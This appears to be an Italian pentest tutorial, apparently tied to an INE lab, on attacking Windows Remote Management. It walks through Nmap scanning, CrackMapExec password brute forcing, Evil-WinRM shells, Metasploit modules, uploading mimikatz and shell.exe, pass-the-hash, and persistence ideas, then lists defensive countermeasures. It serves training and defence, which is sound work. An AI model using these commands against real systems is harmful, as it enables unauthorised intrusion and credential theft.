Tutorials

🛠️ **Guida Completa all’Exploitation di WinRM**

WinRM Windows Remote Management è un protocollo sviluppato da Microsoft che consente la gestione remota dei sistemi Windows tramite WS-Management Web Services for Management, basato su SOAP. WinRM è s

#exploitation#windows

🛠️ Guida Completa all’Exploitation di WinRM

📖 Cos’è WinRM?

WinRM (Windows Remote Management) è un protocollo sviluppato da Microsoft che consente la gestione remota dei sistemi Windows tramite WS-Management (Web Services for Management), basato su SOAP.

WinRM è spesso utilizzato in ambienti aziendali e può diventare un vettore di attacco efficace se abilitato su endpoint e server con credenziali deboli.


🔎 Porte utilizzate

PortaProtocolloDescrizione
5985HTTPConnessione WinRM non cifrata
5986HTTPSConnessione WinRM cifrata (SSL)

🔍 1. Ricognizione iniziale

✅ Scansione porte con Nmap

bash
nmap -p 5985,5986 -sV <target_ip> --open

🧠 Script specifici:

bash
nmap -p 5985 --script http-winrm-enum <target_ip>
Questo script enumera alcune informazioni dal servizio se accessibile.

🔐 2. Brute Forcing con CrackMapExec

CrackMapExec (CME) è uno strumento potente per il post-exploitation e la lateral movement, ma anche per l'enumerazione e il brute force contro WinRM.

⚙️ Sintassi base:

bash
crackmapexec winrm <target_ip> -u <user|userlist> -p <pass|passlist>

✅ Esempio:

bash
crackmapexec winrm demo.ine.local -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Se il modulo mostra [+], la coppia user:pass è valida e l'autenticazione è riuscita.

🧠 Suggerimenti:

  • Puoi combinare più utenti e password con -u users.txt -p passwords.txt
  • Aggiungi --continue-on-success per evitare che si fermi al primo match
  • Usa --local-auth se stai autenticandoti localmente e non su un dominio

🚪 3. Accesso Remoto Interattivo

Una volta ottenute credenziali valide, puoi ottenere una shell remota PowerShell tramite vari strumenti.

🧰 Metodo 1: Evil-WinRM (lo standard)

bash
evil-winrm -i <target_ip> -u <username> -p <password>

🛠 Esempio:

bash
evil-winrm -i demo.ine.local -u administrator -p qwerty123!
Evil-WinRM è un client interattivo in Ruby che permette:
>
- Upload/download file
  • Esecuzione comandi
  • Iniezione di script PowerShell
  • Accesso alle funzionalità del sistema

🧠 Opzioni aggiuntive:

  • -s ./scripts/ → cartella di script PowerShell personalizzati
  • -e ./executables/ → eseguibili da usare nella sessione
  • -c ./certs/ → se usi HTTPS (porta 5986)

🛠️ Metodo alternativo (Metasploit)

Se preferisci usare Metasploit per ottenere accesso:

bash
use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target_ip>
set USERNAME <user>
set PASSWORD <pass>

run

Oppure puoi usarlo in combinazione con psexec, exploit/windows/winrm/winrm_script_exec, ecc., anche se Evil-WinRM è lo strumento preferito per interazione diretta.


🧬 4. Post-Exploitation con Evil-WinRM

🔍 Esempi di comandi utili:

bash
whoami
ipconfig /all
net users
net localgroup administrators

📂 Upload di file:

bash
upload shell.exe

🛡 Esecuzione di Mimikatz:

bash
upload mimikatz.exe mimikatz.exe

🧠 Tecniche Avanzate

  • Pass-the-Hash (PTH): se hai ottenuto un hash NTLM valido, puoi autenticarti senza la password in chiaro (con supporto PTH da parte di Evil-WinRM).
bash
evil-winrm -i <ip> -u administrator -H <NTLM_hash>
  • Lateral Movement: se ottieni una shell WinRM come utente con privilegi adeguati, puoi pivotare verso altri host via Invoke-WMI, PsExec, WinRM stesso.
  • Persistence: creazione di utente nascosto o scheduled task persistente via PowerShell.

🧯 Contromisure Difensive

Come ogni pentest serio, è buona pratica conoscere le contromisure:

  • Disabilitare WinRM se non necessario
  • Consentire accesso WinRM solo a utenti specifici (via GPO)
  • Usare Autenticazione Kerberos invece di password
  • Log accessi e fallimenti su WinRM (Event ID 4625)
  • Segregare la rete e applicare firewall su 5985/5986

📚 Risorse Utili